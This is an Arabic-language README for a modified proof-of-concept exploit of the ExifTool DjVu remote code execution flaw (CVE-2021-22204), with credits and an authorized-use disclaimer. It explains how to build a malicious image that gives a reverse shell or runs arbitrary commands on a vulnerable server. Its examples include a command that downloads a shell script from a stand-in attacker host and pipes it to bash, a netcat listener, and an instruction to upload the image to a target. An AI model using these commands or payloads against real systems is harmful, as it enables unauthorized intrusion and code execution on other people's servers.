
استغلال لثغرة تنفيذ التعليمات البرمجية عن بُعد في ExifTool (CVE-2021-22204) - نسخة محسّنة، بدون اعتماد على exiftool
إثبات مفهوم مطوّر لثغرة CVE-2021-22204، وهي ثغرة في إصدارات ExifTool من 7.44 حتى 12.23 تسمح بتنفيذ تعسفي للكود عند معالجة ملفات DjVu الخبيثة.
هذا عمل مشتق. الثغرة والاستغلال الأصلي ليسا من ابتكاري.
| الدور | المسؤول |
|---|---|
| مكتشف الثغرة | William Bowling (@wcbowling)، أُبلغت عبر برنامج مكافآت الثغرات في GitLab — أبريل 2021 |
| إثبات المفهوم الأصلي | UNICORD (NicPWNs & Dev-Yeoj) |
| التعديلات في هذا المستودع | d4ytox |
يسمح التحييد غير السليم لبيانات المستخدم في تنسيق ملف DjVu في إصدارات ExifTool من 7.44 إلى 12.23 بتنفيذ تعسفي للكود عند تحليل صورة خبيثة. يولّد هذا الاستغلال ملف صورة خبيثًا، عند معالجته بواسطة إصدار ExifTool معرّض للثغرة، ينفّذ كودًا يتحكم به المهاجم.
بناءً على UNICORDev/exploit-CVE-2021-22204:
exiftool -config لتضمين الحمولة، وهو يفشل إذا كان ExifTool لديك مُصَلَّحًا (الإصدار 12.24+). تبني هذه النسخة حمولة DjVu نقية باستخدام djvumake فقط.\c)djvulibre-bin فقطهذه تغييرات هندسية على استغلال قائم. لا يُدّعى أي بحث في الثغرات.
sudo apt install djvulibre-bin
صدفة عكسية:
python3 exploit.py -s <LHOST> <LPORT>
أمر مخصص:
python3 exploit.py -c "id > /tmp/pwned"
أمثلة:
# توليد حمولة صدفة عكسية
python3 exploit.py -s 192.168.1.100 4444
# توليد حمولة تنفيذ أمر
python3 exploit.py -c "curl http://attacker.com/shell.sh | bash"
# تشغيل مستمع وانتظار الاتصال
nc -nlvp 4444
يولّد الاستغلال ملف image.jpg - ارفعه إلى هدف حيث سيعالجه ExifTool.
تُقدَّم هذه الأداة لأغراض تعليمية ولاختبارات الأمان المصرّح بها فقط.
المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة. استخدم هذا الاستغلال فقط ضد أنظمة تملكها أو لديك إذن كتابي صريح لاختبارها.
الوصول غير المصرّح به إلى أنظمة الحاسوب غير قانوني ويعاقب عليه القانون. استخدم بمسؤولية.
MIT، ينطبق فقط على التعديلات في هذا المستودع. إثبات المفهوم العلوي لا يحمل ترخيصًا، لذا تبقى جميع الحقوق محفوظة لمؤلفيه. راجع LICENSE لإشعار الإسناد الكامل.